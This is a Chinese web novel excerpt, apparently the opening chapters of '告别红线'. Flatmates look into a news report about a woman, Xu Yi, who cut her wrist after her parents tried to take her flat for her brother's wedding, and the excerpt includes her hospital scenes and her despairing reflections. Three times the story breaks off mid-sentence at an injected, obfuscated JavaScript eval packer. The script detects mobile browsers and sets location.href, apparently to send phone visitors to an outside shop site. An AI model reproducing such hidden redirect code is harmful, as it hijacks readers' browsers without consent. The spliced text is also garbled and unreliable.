《告别红线》
1. 网络新闻
“看什么呢,那么入迷。”林舒看着沙发上蜷着这腿坐着的人,刚刚还嘻嘻哈哈,声音像蓝牙音箱,在客厅3D环绕,现在一副严肃样,抱着个手机皱着眉。
沙发上的人头也没抬起来,“看新闻呢,现在媒体真无良,新闻标题叫宣城一女子在弟弟婚房内自杀未遂。男女话题,原生家庭,婚姻嫁娶,流量抓得死死的。”
这代媒体堪比名侦探柯南,估计什么都还不知道,能直接给人定性自杀,林舒心想。
不过,这等无良媒体的新闻并未有林舒手上的这杯水重要。
“小秋,先喝口水。”林舒把手上的水递过去,沙发上的人动了动,自然地凑过去,眼睛却离不开那小小的手机屏幕,慢慢地抿了几口。
看着对方因为温水而变得有光泽的嘴唇,林舒很满意。
“不是,下面的网友说得还是人话吗,说这姐姐这么膈应人,为啥不干脆直接死了算了。”一只气炸了的河豚在沙发上摇摇晃晃,细长的手指在手机屏幕上快速敲击。
“你别和人上网吵架,待会说不过我不帮你骂回去了。”林舒心里叹了口气。
啪嗒啪嗒,对方扭过脸,全然不搭理她。
她这室友哪哪都好,就是有些过分热情了,要是有网络居委会选举,林舒肯定第一个给她投票。
没过一会,一个亮着的手机屏幕挤到林舒眼睛下面。“你看,对方没话说了。”江小秋撇撇嘴,“哼,我可不是要跟人吵架,我这是……”
“网络晴朗行动,你我人人有责,是吧。”林舒说道:“大好人能早点睡觉了吗?”
“我不睡,这一届网友气得我睡不着。”脸气的圆鼓鼓的,双手一叉,眼睛却时不时偷瞄,脸上就差写着你趁我还没多生气赶紧哄我。
“真这么生气啊,那我帮你降降温。”不知想到了什么,林舒嘴角向上升起两个像素点。
“好吧,本姑娘大人有大量,给你一个机会。”江小秋转过身来,眉头尚未完全舒展开来,但这双含笑的眼睛却出卖了她,说句好听的,人就连滚带爬顺着台阶往下走了。
眼前的人如此正经,江小秋居然有一丝紧张。
两双眼睛对视,其中的空气变成粘稠的河流,缓慢流动。
江小秋莫名有些紧张,刚要开口,“你,”林舒抬起手,江小秋话到嘴边又咽了回去。
当那只手落在自己肩上并且疑似上移的时候,江小秋不说话了。
空气劈里啪啦,炸着五光十色的烟花。
江小秋眼睛盯着眼前这人薄薄的嘴唇,淡红色的,看不出温度,不过,怎么有人板着张脸还是这么性感。
正在江小秋的思绪不知跑到何处逍遥快活去了,那只手以迅雷不及掩耳之势,伸向了她的后颈。
那一点旖旎氛围全部消散,空气中只剩下弹跳起立的江小秋。
“不是,林舒你整我。”那点可疑的红晕从脸上全部褪去,后颈还存在没有散去的寒气。
忽而想到了什么,江小秋转惊为笑。
“不过,你手脚这么冰凉,要不晚上我勉为其难地和你睡一张床吧。”大眼睛眨巴眨巴,江小秋的装可怜第一步。
这已经是这个月第三十二次,江小秋提出和她睡一张床,林舒不了解为什么她对这件事情如此执着,什么事七拐八拐最终都能拐到这件事情上来。
毕竟,距离她们上幼儿园,小班的江小秋在午休时大哭把所有小朋友吵醒后,最终如愿以偿和大班的林舒睡一张床的糗事,已经过去了二十年。
“不行,我不习惯。”林舒语气不容置疑。
“你不试试怎么习惯。”江小秋双手揽着林舒,像猫一样用脸蹭了蹭林舒的。
很……温暖,也很奇怪,林舒冷漠地扒开她的手,“不行就是不行。”然后拿起桌上的水杯,头也不回地走进房间。
“林舒小气鬼。”背后的人张牙舞爪。
“记得早点睡觉。”啪嗒一声轻响,房门落锁的声音。
得,今晚真的没机会了。
江小秋不懂,林舒明明大自己两岁,各方面看着也比自己成熟,但这么有的时候就这么呆呢。
呆瓜,麻瓜,傻瓜。江小秋在心里暗骂。
当然,这并不代表江小秋放弃“骚扰”。
感谢21世纪伟大的互联网,当一个人试图用距离屏蔽你,你还能顺着网线爬过去。
我要微信轰炸你,江小秋心想。
秋:“长期一个人睡觉竟然会这样?”“和女朋友一起睡觉如此幸福”“有以上三种症状的人,请马上停止这种行为”
看似用一些耸人听闻的微信推文吸引注意力,实则偷偷夹带私货。
shu:?我哪来的女朋友。
石破天惊,难得回自己骚扰讯息的人不仅回复了,还get到了重点。
爱神降临呀,江小秋感觉自己后颈的寒气已经散去,又开始隐隐发烫。
或许今天这人不是冷漠,而是偷偷跑回房间害羞了,自己怎么能如此大意。
秋:要不要我给你找一个?这里有一个现成的哦。
秋:偷笑.jpg
是什么给了对方自己这种错觉,要给自己牵根红线。
难道是上次陪沈舟谈心?记得那天回来,江小秋就一脸坏笑,说什么你跟舟舟姐感情真是好呢,不知道的还以为你们是一家人呢?
shu:?沈舟有女朋友。
我是让你说这个的吗?
想到上次自己过生日林舒还陪沈舟待了一晚上就来气,第二天自己虽然强装镇定,但还是忍不住阴阳怪气,这人居然没听出来,颇为认真地说,自己和沈舟认识二十年了,应该也算半个家人了。
得,会挑重点,但答案全错。
不过沈舟有女朋友了,以后估计就不会总缠着林舒了。
也算是美事一桩。
秋:其实是另一个,你要不要猜一猜?
根据林舒以往的经验,这种猜一猜的游戏风险极大,而且答案唯一,最好还是不要参与。
shu:不要。
shu:请问我可以睡觉了吗?
手机上的数字从59跳到00,居然十一点了。
虽然没有得到自己想要的答案,但鉴于林舒明天还要早起,江小秋决定放过她。
秋:好的,晚安。
正准备关上手机,微信又弹出来一条消息。
感情这孩子把那么一句充满稳重气息的“好的”当玩笑呢。
然而这位被认为爱开玩笑的当事人已经钻进被窝了,准备夜会……,夜会,嘿嘿。
是沈舟。
沈舟:宣城一女子在弟弟婚房内自杀未遂。
居然和江小秋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057629|194898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
关注点一样,但沈舟并不是会因为一条新闻而愤慨的热血青年。
shu:发生什么了?
对方正在输入中来来回回跳出好几次。
最终弹出短短的一条。
沈舟:你还记得许意吗?
shu:前前女友?
沈舟:呃,前女友。这不是重点,重点是宣城天华小区。
沈舟:许意的弟弟马上要结婚了,婚房也在宣城天华小区,根据这篇新闻稿,那个女子可能就是许意。半年前,我就联系不了许意了,她把我的微信号手机号全部拉黑了。
沈舟:我不知道该怎么说,我感觉心跳有点乱。
林舒既不知道原来她以为的沈舟女朋友是许意,更不知道现女友变成了前女友。
本来以为是一起遥远的不知真伪的新闻稿,现在却关乎人命,林舒不得不直起身体,拥抱冷空气,让自己大脑清醒一点。
shu:那你现在决定怎么办?找到她?我看新闻上已经脱离生命危险了。况且现在新闻真假难辨,可能是你最近把自己逼太紧了,或许一切只是一场乌龙。
对面没有说什么但愿如此的话,只是顺着自己混乱的思绪说下去。
沈舟:我和许意其实分手有一段时间了,分手的时候,她告诉我,不想要再见到我了,我也答应了。可是,我不知道为什么我很担心她。可是我人在国外,这边海外部刚成立,一时半会回不来。
也即纵然对方想要一刀两断,自己也承诺不再打扰,沈舟还是想知道许意过得究竟好不好。
林舒不知道关爱前女友是不是一种美德,也不知道这算不算一种藕断丝连,毕竟,林舒比任何人都更清楚,沈舟这位天之骄女,如何被这段感情折磨得肝肠寸断。
难道又要跋山涉水地问一句“这么多年,你过得还好吗?”怕是宣城要七月飘血,飘的狗血。
可是感情的事,谁又知道呢?
面对朋友,唯有尊重。
shu:你别担心,宣城才多大地方,找一个人不难。
这便是答应了的意思。
沈舟:林舒,谢谢你。
其实朋友之间无需多言,但这样正式的感谢,更让林舒看见许意在沈舟心中的分量。
林舒有些头疼,却也不得不在脑海中调取回忆。
准确得来说,沈舟和许意是通过林舒认识的。
那时候还没有文理分科,林舒和许意在实验2班,实验班没有同桌,她和许意是前后桌。
而沈舟则在实验1班,第一的作风,第一的气派。
在宣城一中的周六公休的下午,沈舟经常去隔着一整条走廊的实验2班给林舒辅导物理。后来不知道为什么,沈舟和许意就成了朋友,然后成了恋人。
林舒记忆中的许意,其实有些模糊了,似乎只是一个数学很好,笑起来有点羞涩的女孩子。
沈舟曾形容她,含蓄内敛,眼睛却很亮,像一朵含着露珠的白玉兰。
但是不管这样,林舒都认为沈舟和许意都应该是很好的人,但为什么会谈一场在外人眼里如此糟糕的恋爱?
无论如何放大记忆,仔细思忖,关于这段恋爱,这个人,林舒都无法知道更多。
而许意又为什么会想不开?又或者只是无良记者的杜撰,一切都只是偶然?
夜色深重,只待天明。
2. 山海编辑社
天蒙蒙亮,对面的房门一言不发。
江小秋轻手轻脚,从房间走猫步挪到厨房,准备在小小的厨房施展抱负。
江小秋自认为起得很早,对自己的厨技胸有成竹,做饭嘛,无非这样那样。
但做饭这种高技术含量并兼具审美价值的生活艺术,靠灵机一动的天赋显然无法驾驭。
在厨房大展宏图式地煎糊两个鸡蛋后,希望林舒一醒来就能吃上自己亲手做的爱心早餐的愿望终于幻灭。
又是点外卖的一天。嘿嘿,不过等林舒一早醒来,看见丰盛的早餐和贴心的自己,虽然嘴上说不出什么好话,但心里肯定感动得一塌糊涂,说不定晚上自己就算直接躺在她被窝里,也不会把自己赶出房间。
然而,等到她轻手轻脚地将外卖从门外拿进来,看着鞋架上那双白色平底鞋不见踪影时,才从一脸傻笑的暗自得意中醒悟过来,这位她想要共进早餐的女士已经出门了。
点的外卖还是林舒最爱的水晶饺。
江小秋感觉自己像是一早醒来,伸手一揽,丈夫却不见踪影,身边空空荡荡,只剩下冰冷一片的怨妇。
坐在餐桌旁,江小秋泄愤式地往嘴里塞了一个饺子,嘴上鼓鼓囊囊的,心里却想着这人怎么神龙不见摆尾,这个月陪自己吃早餐的时间越来越少。
与此同时,一个白色的团子圆滚滚地跑过来。
是雪球,雪球是林舒养的猫,浑身都白,江小秋赐名雪球。
看见雪球,江小秋居然生出一种同病相怜的怜惜,林舒口口声声说自己溺爱雪球,把雪球养的白白胖胖,但居然不然雪球上床睡觉,但同时江小秋也觉得该,自己也只能偶尔和林舒说一张床,小猫小狗什么的更应该排在后面。
“来,雪球,你妈妈虽然抛妻弃女,但是我爱你。”江小秋给雪球拿了它猫形专用餐盘,自己一个小猫一个地吃着饺子。
看着雪球光盘,江小秋很满意,竖起大拇指表扬道:“你比你妈妈好多了。”
然而,这位江小秋口中抛妻弃女的女人却有了新的烦恼。
宣城不大,要找一个曾有联系的高中同学其实也并非难事,但是许意情况略显特殊,多年好友分道扬镳的前女友,又疑似一起社会新闻的主人公,无论何种,自己的突然造访的“问候”,恐怕都要惊起一片不小的涟漪。
为了一己私利贸然打扰不是林舒的作风。
但是用什么方式,什么立场,似乎没有一个万全之策。
毫无头绪的林舒在搜索框输入“天华小区、自杀”两个关键词,参差不齐的文章如洪水猛兽,一夜之间,汹涌而来。
大多数都只是无效的重复,没有什么信息。
林舒一目十行,很快把目光定格在一家发布者名为“山海编辑社”的评论文章上。
山海编辑社以“实事求是,关注人文”为工作信条,近年来的报道质量也确实高出不少媒体一大截。
有事实,有深度,有内涵。
“天华小区……十一月二十八日晚上一女子八点左右在房中昏迷,昏迷原因预计为大动脉出血,左手手腕处见明显割痕……后被弟弟和其未婚妻发现……”这么快就弄清楚了事情来龙去脉吗?
难怪江小秋当初没有去山海编辑社,出了名的高效率背后除了专业能力,恐怕还有不少人焚膏继晷的青春吧。
一行又一行,林舒不放过任何一个细节。
直至文章最后,赫然写着七个大字——“山河编辑社贺芩”。
这不是江小秋大学室友嘛,果然还是六人定律。
乱成一团毛线的思绪,终于摸索到了其中的一个豁亮的出口。
轻车熟路地点开微信置顶,林舒将这篇推文转发过去。
shu:天华小区一女子在十九楼屋内昏迷全经过。
呵,给我推送我昨天愤慨万千地给你报道的新闻,江小秋在心里为自己鸣不平,这人又不好好听自己说话。
秋:?
一个高贵冷艳的问号。
shu:这篇报道署名是你大学室友贺芩,你有她联系方式吗?
秋:有事?
shu:好奇。
这就是不打算告诉自己的意思,虽然平时江小秋和林舒单方面亲密无间,分享欲和探索欲都呈现蓬勃之势,但是林舒不打算说,江小秋从来不强求。
江小秋从善如流,老老实实地先和老同学寒暄一番,最后单刀直入,使用万能公式——我有一个朋友。
老同学为人爽朗,二话不说地答应了,顺便还约了一顿晚饭。
江小秋把贺芩的微信名片推送给了林舒。
秋:贺芩[微信名片]
shu:谢谢小秋。
秋:嘴这么甜啊,要真谢我陪我吃个午饭呗,然后晚上早点回呗。
秋:小狗手捧鲜花.jpg
秋:你要是回来晚了,我可要让雪球瘦成冰棍了。
秋:最近天这么冷,开两个空调多浪费电,你晚上要勤俭持家懂不懂?
林舒觉得江小秋有时候真像开着鬼火对着路过的女同学吹口哨的小流氓,明明一张脸文文静静的。
shu:好的。
江小秋不知道她回的那一条,那只好当她全部答应了。
“好的。”是林舒回复江小秋消息的标志性结尾,对方负责提一些无伤大雅的小要求,自己只需要点头说好就可以了,毕竟小吵小闹欢乐多。
发送添加好友申请,时间显示为北京时间八点钟,林舒便将手机向桌面一扣,开始今天的工作。
虽然自己对现在的工作无感,但是爱岗敬业是林家人刻在骨子里的基因,干一行就得行一行。
林舒进入工作很快,以一种无惊无喜的状态地回复邮件,审核流程,预约会议。
后天要出差,林舒在日历上标注一个圈。
处理好这些,已经过去了两个小时。正当林舒准备小小地伸展四肢时,手机屏幕亮了。
贺芩已经通过了她的好友申请。
不如趁热打铁,林舒自报家门。
shu:你好,我是江小秋的朋友,宜江集团企划部的林舒。
贺芩:我知道,小秋已经和我说啦。
林舒并没有直接抛出自己的疑惑,而是选择了一种迂回的方式。
shu:是这样的,我们企划部是准备制作公司宣传册,主要通过人物志的形式呈现,准备将一些采访工作外包,我看过你在山海编辑部的一些作品,我觉得非常不错,请问你这边有意合作吗?
这点权限林舒还是有的。
贺芩:真的吗?我当然愿意。
shu:不过,我昨天看过你的一篇报道,天华小区一女子在十九楼屋内昏迷全经过,是叫这个名字吧,比很多报社都更为详细。我们公司认为,人物志最重要的就是真实,想问问你这么做到能如此快速拿到这么精准的讯息,还是说信息有存疑的地方?
被大饼砸中的贺芩有些晕乎乎的,竟然没有发现这不过是一种变相
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057630|194898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的带有柔情的拷问。
贺芩有些犯难,之所以可以了解第一手消息,因为当事人是自己的表姐,这件事从父母口中传到了自己那里,这对于新闻工作者是极其不专业的行为。
她觉得有些不齿,其实当时自己也不想这样,但是为了留下一个转正的机会……
贺芩:讯息其实都是真的,之所以这么了解是因为当时我就在附近进行街头采访。
贺芩选择了说谎,工作中需要谎言。
林舒的直觉告诉自己并非如此,但对方明显不愿意多言。
shu:居然是这样吗?果然这世间巧合无数。宣传册的具体事项还需要公司审核,如果后续有具体计划,我会再联系你。
shu:非常感谢,真是打扰了。
贺芩:好的好的,希望未来能够一起合作。
贺芩堆起的笑脸一垮,知道自己应该没机会了,难道是因为自己不专业?初出茅庐的大学生总会在自己身上找到问题。
当然,贺芩不知道林舒并不是这么想的,她依旧会优先考虑贺芩,毕竟她是江小秋的大学室友。
想到这,林舒给江小秋发去一个定位。
shu:中午十二点半。
过来一会儿,对面回了消息。
秋:好的,领导,我去接您。
搞不懂这小孩对她哪来些乱七八糟的称呼,才相差两岁,就称“您”了吗?
shu:您?
秋:因为你在我心上,向太阳一样光辉灿烂。
shu:不懂。
林舒决定下线,继续畅游在工作这片汪洋中。
物换星移,短短的时针又缓慢地挪动两格。
中午十二点,江小秋准时抵达林舒公司楼下,然后乘着林舒那辆朴实无华的比亚迪去吃午饭。
林舒专注开车,一路无言。江小秋则闲的,玩起车上的樱桃挂件的流苏。
“欸,你是不是在想那篇报道的事情,我都知道了。”江小秋漫不经心,流苏在她手上一圈一圈缠绕,黄的白。
“其实你嘛,大可以直接让我问,我和贺芩多熟啊”江小秋振振有词,“贺芩还暗戳戳问我你们公司那个宣传册的事情。”
林舒目光不偏不倚,说道:“那你问出什么来了。”
江小秋知道自己猜对了。
“你应该就是想知道那个自杀的人是谁吧,许意,那个自杀的女子叫许意。”江小秋说,转头一看原本面部表情的人蹙起了眉,“别愁眉苦脸了,满足了你的好奇心也没欠人情,你不是还送人家一个机会嘛?”
林舒没有说出真正困扰她的原因,毕竟沈舟也很少谈论起这段感情,之前江小秋虽然大多数时候和自己呆在一块,知道沈舟交了女朋友还喜气洋洋,也碰见过几次,但也没有在意究竟是谁,现在估计连名字都记不住了。
“沈舟托你问的?”其实江小秋记得,她不想看着每天东奔西跑的林舒还有别的烦心事。
“没有,中午吃什么?”林舒语气平淡,没有回答她的问题。
江小秋识趣地转换话题。
“让我想想,要不蒸羊羔、蒸熊掌?”江小秋插科打诨。
“准备让我关几年呢。”那张白净的脸上荡开浅浅的笑容。
江小秋放松下来,往座位上一靠,嘿嘿一笑,“其实吧,跟着你,吃什么都成。”
当然,林舒并没有这样做,她郑重地宴请了这位为自己吹散愁云,然后挥一挥衣袖,不带走一片云彩的侠女。
3. 住院
宣城人民医院,消毒水味从走廊逸散,充斥着整个单人病房。
“小意,你没事吧。”开口的女人声音很甜,脸是家中长辈最喜欢的福娃脸,像白玉盘。
许意怔怔地看着头顶的天花板,喉咙中仿佛有细小的颗粒,上下滚动,折磨这早已干枯的“河床”。
她听见自己开口,“我没事。”
女人欲言又止,脸上是藏不住的关切,但这并不是许意关心的事情。
“小意,我给你削一个苹果吧。”女人很小心翼翼。
“好。”声音很轻,像漏气的气球,干瘪。
许意不知道该拒绝还是该同意,她其实并不喜欢吃苹果,只是懒得说那么多话。
精雕细琢地削苹果,一寸一寸地,都不能松懈,而许意已经神游外太空。
削苹果的女人便是许意弟弟的未婚妻,也是宜城人。严格来说她应该称呼许意姐,但是凡是也有例外,一是因为她的年龄比许意大,二则是因为这段婚事黄了。
被许意搅黄了。
外人们都这么说,但事实上这段要应该敲锣打鼓庆祝的姻缘也没有那么多情愿。
许意觉得这也不算被自己搅黄了,自己不过是成人之美。
许意的弟弟许卓今年来来回回相了五六个,真回家商量谈婚论嫁的也有两三个,要不是看不上许卓大专毕业,工资不高,要不就是彩礼钱没谈拢,一来二去,父母心里着急,也觉得脸上无光。附近女孩看了个遍,全没看上自家儿子。
最终年底经过亲戚介绍了一个老实踏实的女人,学历是小学毕业,年龄比许卓大上四岁,原本许卓还嫌人家年龄大,没文化,但一算八字,老两口一看,两人居然还合得来。这女人是捡来的,养女,上完小学就没上了,没过多久,哥哥有了几个小孩,人出远门打工了,后来呢,一直留在家里给哥哥带孩子,再后来,满了年龄,又去县里电子厂打工,四千块钱一个月,每月还上交三千块钱呢,附近邻里都夸她听话懂事。许卓父母一听,也觉得好,一看就是能踏踏实实过日子的人。
彩礼钱对方要求倒是不高,但唯一的要求嘛,便是要有一套房,这样才算有个着落。
付了彩礼钱,除去五金和七大姑八大姨的改口费,家底都快掏空了,老两口还乐呵呵,给儿子娶了媳妇,生了孙子,这许家也算是后继有人了。
但房从哪里来呢,老两口寻思自家女儿不就有一套吗,养了这么多年,本来就是要嫁出去的,不愁没房住,为了弟弟的终身大事,也是应该的嘛,老两口一合计,这事不就成了嘛,还给媒人封了个大大的红包。
果然,父子还是父子,到了父女就变成君臣了。
“朝廷没粮了,爱卿想想办法吧。”
“这宫中该修缮了,爱卿想想办法吧。”
“听说外邦有奇珍异宝,爱卿想想办法吧。”
“家国兴旺,必与外邦联姻,爱卿派你去吧。”
……
天子威严,则是君要臣死,臣不得不死。况且家庭单位是一种小国寡民,虽然在外,都是本本分分的守法公民,按时纳税,说不定平时还搀扶老奶奶过马路,但在家庭又或者宗族这个单位,则是等级森严,不得逾矩,外人不能随便插手,免生事端。父亲是天子,母亲是皇后,儿子是太子,女儿则是集六部于一身的朝廷重臣。
分工明确,家庭才得以运转。
天子、皇后、太子负责威仪天下,又或享乐宫中,大臣嘛,签了卖身契,考虑的自然就多了。
当然你也不能说,天子、皇后、天子无用,他们在家庭中起着至关重要的作用,决定了一个家庭的气质和风貌,但臣子纵横其间,却不知道究竟是为了谁?
难道是忍辱负重,与外邦和亲,成为皇后?皇后乃是异姓人。况且,天子来朝,臣不得不恭迎。
太子可立,皇后可废。天子世代沿袭,天下臣子如长江,东逝水。
读史以明志,原来是这个道理。
等到一切如山崩海啸,封建旧习全部落在自己身上,才知道什么叫扒皮抽筋,痛不欲生,这不,人在病床上了。不过许意心想,很快这些就要和自己没有关系了。
包裹苹果的红色外衣,螺旋式退去,露出淡黄色的果肉,不一会耳朵竖起,四肢向前,一个兔子形状的苹果果切。
这是在逗小孩吗?自己可不是会被随意感动的小孩子。
“小意,给你。”女人声音甜甜的,像咬了一口甜糯米,又像冰糖葫芦上淋着的一层糖浆。
小意,对于她的父母来说,她都已经是大意了,过几年估计就是黄花菜意了。
许意愣了一瞬,说道:“谢谢。”
“小意,对不起,我没想到……”女人声音小而急,最后干脆连头也垂了下去。
“其实和你没关系。”许意打断了她的愧疚,这事情本来就和她没关系。
女人叫陈秀莲,有名有姓,但许意就是不知道该怎么称呼她。
许意不知道是不是自己太敏感,她总是觉得对方对她过分柔情,暂且不论这两人才认识多久,满打满算一个月,况且外人都应该觉得自己不明白事理,把一通和和美美的婚事搅黄了,这人居然还和自己说对不起。
当然自己也并不觉得有愧于她,本来就是自己的东西,做什么没必要经过他人的同意,也无需接受他人的评判。
陈秀莲面对着许意并不是外放的,而是带着一种兴奋的紧张感,当然许意不认为有这种精准识别同类的直觉,也不喜欢将关心爱护等行为都解读为喜欢,毕竟人山人海,她只喜欢过一个人,虽然现在也如同镜中月水中花。
只不过,她好奇,为什么陈秀莲要来看她,她家应该恨死自己了吧。
养女几年,估计就等这一刻了。
在那些家族亲戚眼中,自己不应该是个十恶不赦破坏家庭违背宗族的毒妇吗?
不知道该说什么,许意只能安静地吃苹果。
陈秀莲看着病床上的人,自己眼中像风一样倚剑天涯的人,如今像个小动物一样啃着苹果,幅度很小,眼睛是浅浅的棕色,亮晶晶的,有一种脆弱的美感。
她比许意想象中更早认识她,只是估计对方对她早就没有印象了。
可她不知道的是,她这种带着怜惜一样的目光,让躺在床上的人如芒在背。
你能别看着我了吗?许意也觉得自己的心思太霸道,自己也不是什么雪人,别人看一眼就要化了,只能一度无言。
或许是察觉出许意的某种不安,陈秀莲起身,和许意道别,还附言,下次还要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057631|194898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来看她。
空气中的不安因子终于消散,下次不下次的许意管不了,她要的只是濒临死亡后,如获新生后的宁静。
还没安静多久,又来了一拨人。许意的父母来了,虽然只有两人,却气势如同火焰山,有一种人山人海的拥挤感。
爸爸站在前面气势汹汹,妈妈跟在后面,一只手还揪住前面男人的手臂,低声道,“你别一上来就说孩子。”
许意心想,我耳朵不聋。
当然耳朵不聋也有坏处,比如现在。
“你怎么能干出这种事情,那是你弟弟的婚房,你弟弟都要结婚了,你就这么看不得他好吗?”一个穿着黑色夹克的中年男人痛心疾首。
“是我的房子。”许意依旧只是看着天花板,如细蚊一样的声音却像咒语一样飘散在空气中。
男人愠怒,“你现在还不知道自己错在哪里,我和你妈含辛茹苦的养了你这么多年,怎么生出一个你这样的白眼狼!”
“人家秀莲不跟你计较,等过几天上门跟人家道个歉。”女人提出缓和之策,语气听起来是颇为满意这张婚事了。
居然还有商量的余地,得亏自己控制得好,没一死了之。
男人面色略有缓和,语气倒是独断专横,“这事就听你妈的。”
许意缓缓扭动脖颈,看了男人一眼,暴怒的男人静了一瞬。
那无欲无求的一眼仿佛是最好的助燃剂,无欲无求便是绝不顺从,男人心中的火又噌一下起来,窜得比天花板还高。
“你书都读到狗肚子里面了吗,还敢瞪着你老子。你知道你这几天住院,花了家里多少钱吗?你这条命都是我和你妈给的!”男人依旧情绪激动,喋喋不休。
许意又转了过去。
那一眼,其实没有任何警告的意味,只是看着这样一张无端暴怒的脸,有些疑惑罢了。
什么孝心,什么白眼狼,这种裹着怒气的声音像点燃的烟卷,还飘着滚滚的白烟,呛人。
他为什么要这么生气,自己干了什么伤天害理的事情吗?
许意意识到自己是一个病人,觉得一个中年男人,有儿有女,冲着一个病猫发威,真是失败。
那自己呢?其实也不是佯装一个胜利者隔岸观火,火呢,其实都应该已经烧到自己身上了,烧得自己魂飞魄散,只剩下肉体凡胎。只不过自己已经决定坦然地接受,哦,原来我是一个失败者啊。许意甚至想要劝一劝他,像自己一样往地上随处一躺,很多事情就解决了。
许意不死不活,静静地躺着。
“小意,你说句话呀,别气你爸了,你爸还有高血压呢。”妈妈握着许意无力的手,轻轻地安抚道,字字恳切,如在泣血。
虽然真正流血的只有病床上的自己。
这么大人了,连这点事都解决不了吗?
这不是甩手掌柜经常干的事情吗,那就还给你好了。
许意心中冷笑,开口道:“我累了,你能让他别吵了吗?”
说完,便闭上了眼睛。
男人怒目,最后也闭了嘴,声势浩大地夺门而出。
不一会,许意感觉手上温暖的触感抽离,暴露在空气中,冷空气蜂拥而上。
有些冷,许意把手伸进被窝,缩了起来,变成一个团。
4. 海的两岸
心理学上的有一个概念,叫做体验回避理论,越是倾向于回避难以承受的情绪的人,越有可能使用自伤方式。
许意明白自己没有选择自杀,□□上的疼痛,让她觉得自己靠近了那颗平时被刻意忽略的心。
可是伤口一旦开始愈合,那种被疼痛接纳的感觉消失了,现实依旧一地鸡毛。
逃避永远不可能解决问题。
让所有人不满意,不是许意的本意,或者说,最初只是希望所有人满意,可是她做不到。
这种自虐性质的行为也不是一种报复,她只是想要确定,自己的人生是否可以被自己左右。
事实上并不能,她控制不了自己的心,闭上眼睛,却止不住汹涌的眼泪。
所有的自欺欺人都变成手腕上永远不可能治愈的伤疤。
她不明白,为什么父母牵着她的手蹒跚学步,一步步长大成人,又要在自己成长路上一路留下难以启齿的伤痕。
六岁前,父母害怕丢了工作,把自己丢在村里的奶奶家,成为了黑户。
七岁上了小学,自己在离家两公里的公办小学,而等到许卓上学,却去了家附近的私立小学,学费翻了好几倍。
上了初中,依旧如此,她的眉毛缺了一块,当初被许卓拿电视器遥控器硬生生砸了一块,后来无论过去多久,那缺失的眉毛都没有长回去。
直到上了高中,许卓进入叛逆期,父母管不住,许意学习很好,考上了宣城一中,是回家邻里间攀比的重要筹码,换来了父母的不打不骂,乃至关怀。
这种温情让许意一度生出错觉,原来只要听话,就是可以被爱的。
后来上了大学,毕业工作,为家里分担解忧,为弟弟存老婆本,终于换来了属于许意的家庭和睦,甚至眉头的缺口也曾变换成了父母口中偶尔的问候。那个时候,许意觉得自己无所不能,她成长了像父母一样顶天立地的大人,撑起了一个家。
乃至最后接受了家中未来没有自己的一席之地,用尽全部积蓄买了一套二手房,竟然依旧是不可抗拒的驱逐令。
可能父母也爱过自己吧,太少了,随着许意手腕流出的鲜血一起消失。
父母留给自己唯一的东西也消失了。
这种感觉并不痛快。
人是社会关系的总和,等到血缘这一天赐的礼物消失,许意不知道她是谁。
承认家庭的不幸福,像是要承认自己身上先天的残疾,况且自己已经努力了那么多年,才堪堪换来一张沉静无忧的皮囊。
不知道自己为什么会存在在这个世界上,许意找不到任何一个支点,只觉得人生虚浮无力。
越是想要被怜悯,越是一败涂地。
许意不得不承认自己不幸福,过去不幸福,现在也不幸福,未来也许要继续走下去。
孤独,至死方休地缠绕着许意的生活。
在这人世间走了二十多年,依旧一无所有。
孩童的无措,青春的敏感,长大的假装成熟。
心中那个小孩却横冲直撞,叫嚣着,不公平,这世界对我不公平。
从前以为好好学习,然后好好工作,心中始终攒着一股劲,未来如此光明。
她没有朋友,没有爱人,现在亲人也要一同舍弃。
虽然蒙着一张成年人的人皮,这种人皮太浅太薄,只能一点一点挖出血肉来填补,乃至一颗心空空荡荡,承受不了任何情感的重量。
面对真心的喜欢无力承受,面对别有用心的关怀无法割舍。原来,长大如此之艰难。
人生真是难得糊涂,选择脱离生活的惯性只会从高处坠落,摔得粉身碎骨。
一无所有的未来。
现在的许意,没有任何想去的未来,没有任何相见的人,她想要的只是安静,窒息一般的安静,将她吞没在无尽黑夜中,不要遇见任何人。
可是身体里却又另一个声音告诉自己,身处这里是你的权利。
不要放弃、不要逃避,放弃并不是一种胜利。
太疲惫,太难过,许意缓缓合上眼,栖身于黑夜。
宣城尚且是浓重的黑夜,而大洋的另一端则是全然不同的景致。
夕阳漫天,橘的黄,蓝的紫,一切自然绚烂,流淌变换。
沈舟看着手机上的消息,不知道当初选择分手是不是一个错误的决定。
不,或许从始至终,在对方看来,一切只是一场自作多情的打扰。
那张脸上淌满泪水却笑着看着自己的脸……
